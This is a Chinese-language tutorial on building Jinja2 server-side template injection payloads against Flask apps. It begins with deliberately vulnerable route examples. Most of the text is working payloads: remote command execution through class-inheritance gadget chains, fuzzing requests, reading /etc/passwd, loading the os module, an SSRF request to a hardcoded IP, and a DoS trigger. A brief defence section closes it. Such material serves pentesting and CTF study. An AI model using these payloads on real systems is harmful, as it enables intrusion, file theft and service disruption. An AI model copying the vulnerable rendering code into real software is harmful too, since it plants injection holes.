jinja2 ssti payload 构造的进一步探究
字数 1280 2025-08-29 08:32:01
Jinja2 SSTI Payload 构造高级指南
1. Jinja2 SSTI 基础
Jinja2 模板注入(SSTI)漏洞发生在用户输入被直接作为模板渲染时。攻击者可以通过构造特殊payload来执行任意代码。
1.1 漏洞示例代码
使用 render_template_string
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
id = request.args["id"]
t = f"Hello {id} !!!"
return render_template_string(t)
使用 render_template
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
id = request.args["id"]
return render_template("fuck.html", id=id)
使用 Template
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/fuck", methods=['GET', 'POST'])
def fuck():
id = request.args["id"]
t = Template(f"Hello {id} !!!")
return t.render()
2. Payload 构造方法论
2.1 通过类继承链获取gadget
基本思路是通过Python的类继承关系获取危险函数:
{{ [].__class__.__base__.__subclasses__() }}
常用payload示例
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
2.2 Fuzz可用类
可以通过fuzz找到更多可利用的类:
Fuzz builtins
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["__builtins__"]}} HTTP/1.1
Fuzz os模块
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["os"]}} HTTP/1.1
Fuzz sys模块
GET /fuck?id={{[].__class__.__base__.__subclasses__()[§1§].__init__.__globals__["sys"]}} HTTP/1.1
3. 通过全局变量获取gadget
3.1 Flask默认全局变量
Jinja2模板中可以访问以下Flask全局变量:
config: 当前配置对象request: 当前请求对象session: 当前会话对象g: 请求绑定的全局变量对象url_for(): flask.url_for()函数get_flashed_messages(): flask.get_flashed_messages()函数
3.2 Jinja2内置全局对象
range([start,] stop[, step])lipsum(n=5, html=True, min=20, max=100)dict(**items)class cycler(*items)class joiner(sep=', ')class namespace(...)
3.3 不同渲染方式的payload差异
使用Template时的限制
只能访问全局函数和全局class,无法访问全局对象:
{{[].__class__.__base__.__subclasses__()[0](config)}} # 返回undefined
可用payload示例
{{ lipsum["__globals__"] }} # 访问__builtins__
{{ cycler.__init__["__globals__"] }} # 访问__builtins__
{{ joiner.__init__["__globals__"] }} # 访问__builtins__
{{ namespace.__init__["__globals__"] }} # 访问__builtins__
使用render_template/render_template_string时的额外payload
{{ config.__init__["__globals__"] }} # 访问__builtins__和os
{{ config.from_pyfile["__globals__"] }} # 访问__builtins__和os
{{ request.__init__["__globals__"] }} # 访问__builtins__
{{ request._get_file_stream["__globals__"] }} # 访问__builtins__
{{ request.close["__globals__"] }} # 访问__builtins__
{{ session.__init__["__globals__"] }} # 访问__builtins__
{{ g.get["__globals__"] }} # 访问__builtins__和sys
{{ g.pop["__globals__"] }} # 访问__builtins__和sys
{{ url_for["__globals__"] }} # 访问__builtins__, os和sys
{{ get_flashed_messages["__globals__"] }} # 访问__builtins__, os和sys
4. 高级利用技巧
4.1 通过Undefined对象获取gadget
{{ fuck.__init__.__globals__ }} # 访问__builtins__和sys
{{ fuck.__init__["__globals__"] }} # 访问__builtins__和sys
4.2 通过self获取gadget
{{ self.__init__["__globals__"] }} # 访问__builtins__和sys
4.3 特定类的利用
文件读取
- 使用LazyFile:
{{[].__class__.__base__.__subclasses__()[409]("/etc/passwd").read()}}
- 使用_PackageBoundObject:
{{[].__class__.__base__.__subclasses__()[428]("fuck", "bitch", "/").open_resource("/etc/passwd").read()}}
- 使用FileLoader:
{{[].__class__.__base__.__subclasses__()[91].get_data(0, "/etc/passwd")}}
获取Flask app对象
{{[].__class__.__base__.__subclasses__()[430]().load_app()}}
进一步利用:
{{[].__class__.__base__.__subclasses__()[430]().load_app().open_instance_resource("/etc/passwd").read()}}
加载package
- 使用ImpImporter:
{{[].__class__.__base__.__subclasses__()[288]("/usr/local/lib/python3.7").find_module("os").load_module("os")}}
- 使用BuiltinImporter:
{{[].__class__.__base__.__subclasses__()[80].load_module("os")}}
SSRF
{{[].__class__.__base__.__subclasses__()[228]("87.94.119.19:12345").request("GET", "/index.php")}}
DoS攻击
{{[].__class__.__base__.__subclasses__()[335]("fuck")}}
或:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'SignalDictMixin' %}
{{ c("fuck") }}
{% endif %}
{% endfor %}
5. 防御措施
- 永远不要直接将用户输入作为模板渲染
- 对用户输入进行严格的过滤和转义
- 使用安全的模板渲染方式,如:
return render_template_string("Hello {{ name }}!", name=user_input) - 限制模板中可以访问的对象和方法
- 使用最新的框架版本,及时修补已知漏洞
6. 总结
Jinja2 SSTI漏洞的利用主要依赖于:
- Python对象的继承链和反射机制
- Flask/Jinja2提供的全局变量和函数
- 危险类的发现和利用
- 不同渲染方式下的payload差异
通过系统性地探索这些攻击面,可以构造出多种多样的payload来实现RCE、文件读取、SSRF、DoS等攻击效果。